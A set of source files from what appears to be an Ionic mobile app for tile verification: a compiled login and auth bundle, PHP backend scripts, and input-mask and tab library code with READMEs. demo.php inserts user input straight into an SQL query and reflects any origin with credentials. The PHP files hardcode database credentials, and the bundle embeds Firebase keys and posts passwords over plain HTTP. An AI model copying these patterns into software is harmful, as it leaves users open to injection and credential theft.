key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var MyApp = (function () { function MyApp(platform, statusBar, splashScreen, storage) { var _this = this; this.platform = platform; this.storage = storage; this.rootPage = __WEBPACK_IMPORTED_MODULE_5__pages_login_login__["a" /* LoginPage */]; this.showSplash = true; // <-- show animation platform.ready().then(function () { // Okay, so the platform is ready and our plugins are available. // Here you can do any higher level native things you might need. statusBar.styleDefault(); splashScreen.hide(); Object(__WEBPACK_IMPORTED_MODULE_8_rxjs_observable_timer__["timer"])(3000).subscribe(function () { return _this.showSplash = false; }); // timer(3000).subscribe(() => this.showSplash = false) // <-- hide animation after 3s //setTimeout(() => {splashScreen.hide();}, 300) _this.storage.get('introShown').then(function (result) { if (result) { _this.account = window.localStorage.getItem('storedData'); if (_this.account) { _this.nav.push(__WEBPACK_IMPORTED_MODULE_7__pages_tabs_tabs__["a" /* TabsPage */]); } else { _this.nav.push(__WEBPACK_IMPORTED_MODULE_5__pages_login_login__["a" /* LoginPage */]); } } else { _this.nav.push(__WEBPACK_IMPORTED_MODULE_6__pages_intro_intro__["a" /* IntroPage */]); } }); //timer(3000).subscribe(() => this.showSplash = false) }); } __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])(__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["g" /* Nav */]), __metadata("design:type", Object) ], MyApp.prototype, "nav", void 0); MyApp = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/app/app.html"*/'<div *ngIf="showSplash" class="splash">\n <div class="spinner"></div>\n\n\n </div>\n \n<ion-nav [root]="rootPage" #content swipeBackEnabled="false"></ion-nav>'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/app/app.html"*/ }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["j" /* Platform */], __WEBPACK_IMPORTED_MODULE_2__ionic_native_status_bar__["a" /* StatusBar */], __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__["a" /* SplashScreen */], __WEBPACK_IMPORTED_MODULE_4__ionic_storage__["b" /* Storage */]]) ], MyApp); return MyApp; }()); //# sourceMappingURL=app.component.js.map /***/ }), /***/ 46: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return LoginPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__register_register__ = __webpack_require__(260); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__forget_forget__ = __webpack_require__(160); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__tabs_tabs__ = __webpack_require__(67); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var LoginPage = (function () { function LoginPage(navCtrl, authService, formBuilder, alertCtrl, http, loading) { this.navCtrl = navCtrl; this.authService = authService; this.formBuilder = formBuilder; this.alertCtrl = alertCtrl; this.http = http; this.loading = loading; this.rootPage = 'UserPage'; this.errorMessage = ''; this.account = window.localStorage.getItem('storedData'); if (this.account) { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__tabs_tabs__["a" /* TabsPage */]); } //check on how you will access the username //this.storage.get('uid0s').then((result) => { //if(result){ //this.navCtrl.push(TabsPage); //} //}); } LoginPage.prototype.ionViewWillLoad = function () { this.loginForm = this.formBuilder.group({ email: new __WEBPACK_IMPORTED_MODULE_2__angular_forms__["b" /* FormControl */](), password: new __WEBPACK_IMPORTED_MODULE_2__angular_forms__["b" /* FormControl */](), }); }; LoginPage.prototype.goRegisterPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_3__register_register__["a" /* RegisterPage */]); }; LoginPage.prototype.goForgetPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_4__forget_forget__["a" /* ForgetPage */]); }; LoginPage.prototype.signUp = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_3__register_register__["a" /* RegisterPage */]); }; LoginPage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.username.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Username field is empty", buttons: ['OK'] }); alert_1.present(); } else if (this.password.value == "") { var alert_2 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Password field is empty", buttons: ['OK'] }); alert_2.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_7__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_7__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { username: this.username.value, password: this.password.value }; var info_1 = this.username.value; var loader_1 = this.loading.create({ content: 'Processing please wait...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/login.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Login success") { //this.storage.set ('uid0s', info); var page1Data = info_1; localStorage.setItem('storedData', page1Data); _this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__tabs_tabs__["a" /* TabsPage */]); } else { var alert_3 = _this.alertCtrl.create({ title: "Unable to Sign In", subTitle: "The email address and password combination you entered is incorrect. Please try again", buttons: ['OK'] }); alert_3.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("username"), __metadata("design:type", Object) ], LoginPage.prototype, "username", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("password"), __metadata("design:type", Object) ], LoginPage.prototype, "password", void 0); LoginPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-login',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/login/login.html"*/'<ion-content padding class="master-class">\n <ion-list no-lines>\n <ion-avatar>\n <img src="assets/imgs/decra.png" class="logo-position">\n </ion-avatar>\n <ion-item >\n <ion-input round type="text" placeholder="Email address" name="username" #username></ion-input>\n </ion-item>\n <ion-item>\n <ion-input round type="password" placeholder="Password" name="password" #password></ion-input>\n </ion-item>\n <br>\n <button ion-button full type="submit" class="loginBtn submit-button" (click)="signIn()"><ion-icon name="log-in"></ion-icon>&nbsp;&nbsp;Sign in</button>\n \n <br>\n <div>\n <p class="text-color"><a (click)="goForgetPage()">Forgotten your password?</a></p>\n </div>\n <br>\n <div>\n <p class="text-color">Don\'t have an account? <a (click)="goRegisterPage()">Sign up</a></p>\n </div>\n <br>\n</ion-list>\n</ion-content>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/login/login.html"*/ }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_6__core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_2__angular_forms__["a" /* FormBuilder */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_7__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], LoginPage); return LoginPage; }()); //# sourceMappingURL=login.js.map /***/ }), /***/ 48: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return AuthService; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_rxjs_add_operator_toPromise__ = __webpack_require__(142); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_rxjs_add_operator_toPromise___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_rxjs_add_operator_toPromise__); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_angularfire2_auth__ = __webpack_require__(261); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_firebase_app__ = __webpack_require__(159); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_firebase_app___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4_firebase_app__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; //import { Facebook } from '@ionic-native/facebook'; //import { GooglePlus } from '@ionic-native/google-plus'; //import { TwitterConnect } from '@ionic-native/twitter-connect'; //import { FirebaseUserModel } from './user.model'; //import { environment } from '../../environment/environment'; var AuthService = (function () { function AuthService(afAuth, //public fb: Facebook, //public googlePlus: GooglePlus, //public tw : TwitterConnect, platform) { this.afAuth = afAuth; this.platform = platform; } AuthService.prototype.doRegister = function (value) { return new Promise(function (resolve, reject) { __WEBPACK_IMPORTED_MODULE_4_firebase_app__["auth"]().createUserWithEmailAndPassword(value.email, value.password) .then(function (res) { resolve(res); }, function (err) { return reject(err); }); }); }; AuthService.prototype.doLogin = function (value) { return new Promise(function (resolve, reject) { __WEBPACK_IMPORTED_MODULE_4_firebase_app__["auth"]().signInWithEmailAndPassword(value.email, value.password) .then(function (res) { resolve(res); }, function (err) { return reject(err); }); }); }; AuthService.prototype.doLogout = function () { var _this = this; return new Promise(function (resolve, reject) { if (__WEBPACK_IMPORTED_MODULE_4_firebase_app__["auth"]().currentUser) { _this.afAuth.auth.signOut(); resolve(); } else { reject(); } }); }; AuthService = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["A" /* Injectable */])(), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_3_angularfire2_auth__["a" /* AngularFireAuth */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["j" /* Platform */]]) ], AuthService); return AuthService; }()); //# sourceMappingURL=auth.service.js.map /***/ }), /***/ 67: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return TabsPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__contact_contact__ = __webpack_require__(356); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__user_user__ = __webpack_require__(357); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__profile_profile__ = __webpack_require__(360); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__signout_signout__ = __webpack_require__(361); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; /** * Generated class for the TabsPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var TabsPage = (function () { function TabsPage() { this.userPage = __WEBPACK_IMPORTED_MODULE_2__user_user__["a" /* UserPage */]; this.contactPage = __WEBPACK_IMPORTED_MODULE_1__contact_contact__["a" /* ContactPage */]; this.profilePage = __WEBPACK_IMPORTED_MODULE_3__profile_profile__["a" /* ProfilePage */]; this.signoutPage = __WEBPACK_IMPORTED_MODULE_4__signout_signout__["a" /* SignoutPage */]; } TabsPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-tabs',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/tabs/tabs.html"*/'<ion-tabs>\n <ion-tab [root]="userPage" tabTitle="Verification" tabIcon="md-barcode"></ion-tab>\n <ion-tab [root]="profilePage" tabTitle="Profile" tabIcon="md-contact"></ion-tab>\n <ion-tab [root]="contactPage" tabTitle="Contact" tabIcon="md-call"></ion-tab>\n <ion-tab [root]="signoutPage" tabTitle="Signout" tabIcon="md-log-out"></ion-tab>\n</ion-tabs>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/tabs/tabs.html"*/, }) ], TabsPage); return TabsPage; }()); //# sourceMappingURL=tabs.js.map /***/ }), /***/ 703: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return VerificationPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var VerificationPage = (function () { function VerificationPage(navCtrl, navParams) { this.navCtrl = navCtrl; this.navParams = navParams; } VerificationPage.prototype.ionViewDidLoad = function () { console.log('ionViewDidLoad VerificationPage'); }; VerificationPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-verification',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/verification/verification.html"*/'<!--\n Generated template for the VerificationPage page.\n\n See http://ionicframework.com/docs/components/#navigation for more info on\n Ionic pages and navigation.\n-->\n<ion-header>\n\n <ion-navbar>\n <ion-title>verification</ion-title>\n </ion-navbar>\n\n</ion-header>\n\n\n<ion-content padding>\n\n</ion-content>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/verification/verification.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["i" /* NavParams */]]) ], VerificationPage); return VerificationPage; }()); //# sourceMappingURL=verification.js.map /***/ }), /***/ 704: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return environment; }); var environment = { production: false, // fbAppId: 186848361921511, googleWebClientId: '401245627689-ke4oci7bc8440anmpo4dms1od5keoome.apps.googleusercontent.com', firebase: { apiKey: "AIzaSyAxSYHb72zK_sVJPIi7o2qbDKOKxBFBfdo", authDomain: "decratile-28262.firebaseapp.com", databaseURL: "https://decratile-28262.firebaseio.com", projectId: "decratile-28262", storageBucket: "decratile-28262.appspot.com", messagingSenderId: "763419740045" } }; //# sourceMappingURL=environment.js.map /***/ }), /***/ 705: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return Mask; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__angular_forms__ = __webpack_require__(16); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var __param = (this && this.__param) || function (paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } }; var Mask = (function () { function Mask(model, pattern) { this.model = model; this.pattern = pattern; } Mask.prototype.onInputChange = function (e) { try { var value = e.target.value, caret = e.target.selectionStart, pattern = this.pattern, reserve = pattern.replace(/\*/, 'g'), applied = '', ordinal = 0; if (e.keyCode === 8 || e.key === 'Backspace' || e.keyCode === 46 || e.key === 'Delete') { if (value.length) { //remove all trailing formatting while (value.length && pattern[value.length] && pattern[value.length] !== '*') { value = value.substring(0, value.length - 1); } //remove all leading formatting to restore placeholder if (pattern.substring(0, value.length).indexOf('*') < 0) { value = value.substring(0, value.length - 1); } } } //apply mask characters for (var i = 0; i < value.length; i++) { //enforce pattern limit if (i < pattern.length) { //match mask if (value[i] === pattern[ordinal]) { applied += value[i]; ordinal++; } else if (reserve.indexOf(value[i]) > -1) { //skip other reserved characters } else { //apply leading formatting while (ordinal < pattern.length && pattern[ordinal] !== '*') { applied += pattern[ordinal]; ordinal++; } applied += value[i]; ordinal++; //apply trailing formatting while (ordinal < pattern.length && pattern[ordinal] !== '*') { applied += pattern[ordinal]; ordinal++; } } } } e.target.value = applied; console.log(this.model, applied); if (this.model && this.model.valueAccessor) this.model.valueAccessor.writeValue(applied); if (caret < value.length) { e.target.setSelectionRange(caret, caret); } } catch (ex) { console.error(ex.message); } }; Mask = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["s" /* Directive */])({ selector: '[mask]', host: { '(keyup)': 'onInputChange($event)', '(keydown)': 'onInputChange($event)', }, providers: [__WEBPACK_IMPORTED_MODULE_1__angular_forms__["g" /* NgModel */]], }), __param(0, Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["N" /* Optional */])()), __param(1, Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["g" /* Attribute */])('mask')), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1__angular_forms__["g" /* NgModel */], String]) ], Mask); return Mask; }()); //# sourceMappingURL=mask.js.map /***/ }) },[363]); //# sourceMappingURL=main.js.map``` index.js ```export * from './brmasker-ionic-3'; export * from './brmasker-ionic-services'; //# sourceMappingURL=index.js.map``` Podfile ```# DO NOT MODIFY -- auto-generated by Apache Cordova platform :ios, '9.0' target 'Tile Verification' do project 'Tile Verification.xcodeproj' end ``` README.md ```##Usage: First you should build the markup as follows, 'tab' and 'tab-pane' are required, use them to indicate which are tabs and content panes. ```html <div class="tab-container"> <div class="tabs"> <a class="tab active">Home</a> <a class="tab">Profile</a> <a class="tab">Messages</a> </div> <div class="tab-panes"> <div class="tab-pane active">home</div> <div class="tab-pane">profile</div> <div class="tab-pane" >message</div> </div> </div> ``` And with the styles that hides the non-active tab pane ```css .tab-panes .tab-pane{ display: none } .tab-panes .active{ display: block } ``` Finally makes the markup tabbable. After a tab is clicked, the 'active' class will be added to the corresponding tab: ```javascript //commonjs var tabs = require('tabs'); //or directly include the script and 'tabs' will be global // make it tabbable! var container=document.querySelector('.tab-container') tabs(container); ``` ##Example: See http://ltebean.github.io/tabs``` demo.php ```<?php if(isset($_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}"); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Max-Age: 86400'); // cache for 1 day } //Access-Control headers are received during OPTIONS requests if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}"); exit(0); } $postdata = file_get_contents("php://input"); if(isset($postdata)) { $request = json_decode($postdata); $name = $request->testname; if($name != "") { $con = mysqli_connect("localhost","afric104_786","georgied971@","afric104_786"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Name: " .$name; $sql = "INSERT INTO users(username) VALUES ('$name')"; $stmt = mysqli_query($con, $sql) or die ("MySQL Error:".mysqli_error($con)); echo "successfully inserted !"; } } else { echo "Empty name and description parameter!"; } } else { echo "Not called properly with name and description parameter!"; } ?> ``` README.md ```# ionic-input-mask Input mask for Ionic2 and upper versions. <img src="https://raw.githubusercontent.com/EDumdum/ionic-input-mask/master/resources/ionic-input-mask.png" width="190px"> # Getting Started ## Installing ```bash npm install ionic-input-mask --save ``` ## Using ```typescript # app.module.ts import { InputMaskModule } from 'ionic-input-mask'; imports: [ InputMaskModule, ] ``` ```html # *.html <input-mask mask="+32 (0) 4__/__.__.__" allowedChars="0-9" type="tel" maskCharacter="_" tabindex="100"></input-mask> ``` ### mask **Mandatory** Definition of the mask. maskCharacter *(default = '_')* will define the maximum length of the field and which characters will be replaced in the mask. Mask is not included in the return value, only input typed by the user. ### maskCharacter *Optional* Define which character in the mask should be replaced. Default value is '_'. ### allowedChars *Optional* Define which characters are allowed in the field. Must be character range like in regular expression. Ex: - 0-9 -> Numbers only - A-Z -> Letters only, in uppercase If not defined, all characters are allowed. ### tabindex *Optional* Directly linked to ion-input field tabindex. ### type *Optional* Directly linked to ion-input field type. ``` dbconnect.php ```<?php define('HOST','localhost'); define('USER','afric104_786'); define('PASS','georgied971@'); define('DB','afric104_786'); $con = mysqli_connect(HOST,USER,PASS,DB); if (!$con){ die("Error in connection" . mysqli_connect_error()) ; } ?>``` ion-mask.umd.js ```(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('@angular/core'), require('ionic-angular'), require('@angular/forms'), require('@angular/common')) : typeof define === 'function' && define.amd ? define(['exports', '@angular/core', 'ionic-angular', '@angular/forms', '@angular/common'], factory) : (factory((global['ion-mask'] = {}),global.core,global.ionicAngular,global.forms,global.common)); }(this, (function (exports,core,ionicAngular,forms,common) { 'use strict'; var config = new core.InjectionToken('config'); var initialConfig = { clearIfNotMatch: false, dropSpecialCharacters: true, specialCharacters: ['/', '(', ')', '.', ':', '-', ' ', '+'], patterns: { '0': { pattern: new RegExp('\\d'), }, '9': { pattern: new RegExp('\\d'), optional: true }, 'A': { pattern: new RegExp('\[a-zA-Z0-9\]') }, 'S': { pattern: new RegExp('\[a-zA-Z\]') } } }; var IonMaskService = (function () { function IonMaskService() { this.maskExpression = ''; this._shift = new Set(); this.onTouch = function () { }; this.clearIfNotMatch = initialConfig.clearIfNotMatch; this.dropSpecialCharacters = initialConfig.dropSpecialCharacters; this.maskSpecialCharacters = initialConfig.specialCharacters; this.maskAvailablePatterns = initialConfig.patterns; this._regExpForRemove = new RegExp(this.maskSpecialCharacters .map(function (item) { return "\\" + item; }) .join('|'), 'gi'); } /** * @param {?} inputValue * @param {?} maskExpression * @param {?=} position * @param {?=} cb * @return {?} */ IonMaskService.prototype.applyMask = function (inputValue, maskExpression, position, cb) { if (position === void 0) { position = 0; } if (cb === void 0) { cb = function () { }; } if (inputValue === undefined || inputValue === null) { return ''; } var /** @type {?} */ cursor = 0; var /** @type {?} */ result = ''; var /** @type {?} */ inputArray = inputValue.toString() .split(''); // tslint:disable-next-line for (var /** @type {?} */ i = 0, /** @type {?} */ inputSymbol = inputArray[0]; i < inputArray.length; i++, inputSymbol = inputArray[i]) { if (result.length === maskExpression.length) { break; } if (this._checkSymbolMask(inputSymbol, maskExpression[cursor])) { result += inputSymbol; cursor++; } else if (this.maskSpecialCharacters.indexOf(maskExpression[cursor]) !== -1) { result += maskExpression[cursor]; cursor++; this._shift.add(cursor); i--; } else if (this.maskSpecialCharacters.indexOf(inputSymbol) > -1 && this.maskAvailablePatterns[maskExpression[cursor]] && this.maskAvailablePatterns[maskExpression[cursor]].optional) { cursor++; i--; } } if (result.length + 1 === maskExpression.length && this.maskSpecialCharacters.indexOf(maskExpression[maskExpression.length - 1]) !== -1) { result += maskExpression[maskExpression.length - 1]; } var /** @type {?} */ shift = 1; var /** @type {?} */ newPosition = position + 1; while (this._shift.has(newPosition)) { shift++; newPosition++; } cb(this._shift.has(position) ? shift : 0); return result; }; /** * @param {?} mask * @param {?} value * @return {?} */ IonMaskService.prototype.isNotMatch = function (mask, value) { return mask.length !== value.length; }; /** * @param {?} value * @return {?} */ IonMaskService.prototype.removeMask = function (value) { if (!value) { return value; } return value.replace(this._regExpForRemove, ''); }; /** * @param {?} inputSymbol * @param {?} maskSymbol * @return {?} */ IonMaskService.prototype._checkSymbolMask = function (inputSymbol, maskSymbol) { return inputSymbol === maskSymbol || this.maskAvailablePatterns[maskSymbol] && this.maskAvailablePatterns[maskSymbol].pattern && this.maskAvailablePatterns[maskSymbol].pattern.test(inputSymbol); }; return IonMaskService; }()); IonMaskService.decorators = [ { type: core.Injectable }, ]; /** * @nocollapse */ IonMaskService.ctorParameters = function () { return []; }; var IonInputMaskComponent = (function () { function IonInputMaskComponent() { this.typeLabel = ''; this.typeInput = ''; this.clearInput = false; this.lastChild = false; this.disabled = false; this.clearIfNotMatch = false; this.propagateChange = function (_) { }; this.ionMaskService = new IonMaskService(); } /** * @return {?} */ IonInputMaskComponent.prototype.registerOnTouched = function () { }; /** * @param {?} obj * @return {?} */ IonInputMaskComponent.prototype.writeValue = function (obj) { this.valueIonInput = this.ionMaskService.applyMask(obj, this.mask); if (obj) { this.keyUpEvent(null); this.value = obj; } else { this.value = null; } }; /** * @param {?} fn * @return {?} */ IonInputMaskComponent.prototype.registerOnChange = function (fn) { this.propagateChange = fn; }; /** * @param {?=} event * @return {?} */ IonInputMaskComponent.prototype.onChange = function (event) { if (!this.valueIonInput) { this.value = null; } else { this.value = this.valueIonInput; if (this.dropSpecialCharacters) { this.value = this.ionMaskService.removeMask(this.valueIonInput); } } this.propagateChange(this.value); }; /** * @param {?} event * @return {?} */ IonInputMaskComponent.prototype.onBlur = function (event) { if (this.clearIfNotMatch && this.ionMaskService.isNotMatch(this.mask, this.valueIonInput)) { this.valueIonInput = ''; this.onChange(); } }; /** * @param {?} event * @return {?} */ IonInputMaskComponent.prototype.keyUpEvent = function (event) { this.valueIonInput = this.ionMaskService.applyMask(this.valueIonInput, this.mask); this.onChange(event); }; /** * @return {?} */ IonInputMaskComponent.prototype.getAttrTypeInput = function () { return this.typeInput || 'text'; }; /** * @param {?} type * @return {?} */ IonInputMaskComponent.prototype.getAttrLabel = function (type) { return this.typeLabel === type; }; /** * @return {?} */ IonInputMaskComponent.prototype.getAttrClearInput = function () { return this.clearInput ? '' : null; }; /** * @return {?} */ IonInputMaskComponent.prototype.getAttrPlaceholder = function () { return this.placeholder ? this.placeholder : ''; }; /** * @return {?} */ IonInputMaskComponent.prototype._setPropService = function () { this._setProp('maskSpecialCharacters', this.specialCharacters); this._setProp('maskAvailablePatterns', this.patterns); if (this.dropSpecialCharacters === undefined) { this.dropSpecialCharacters = this.ionMaskService.dropSpecialCharacters; } if (this.clearIfNotMatch === undefined) { this.clearIfNotMatch = this.ionMaskService.clearIfNotMatch; } }; /** * @param {?} nameProp * @param {?} prop * @return {?} */ IonInputMaskComponent.prototype._setProp = function (nameProp, prop) { if (prop) { this.ionMaskService[nameProp] = prop; } }; /** * @return {?} */ IonInputMaskComponent.prototype.ngOnInit = function () { this._setPropService(); }; return IonInputMaskComponent; }()); IonInputMaskComponent.decorators = [ { type: core.Component, args: [{ selector: 'ion-input-mask', template: "<ion-item> <ion-label *ngIf=\"getAttrLabel('stacked') && label\" for=\"ionInput\" stacked>{{label}}</ion-label> <ion-label 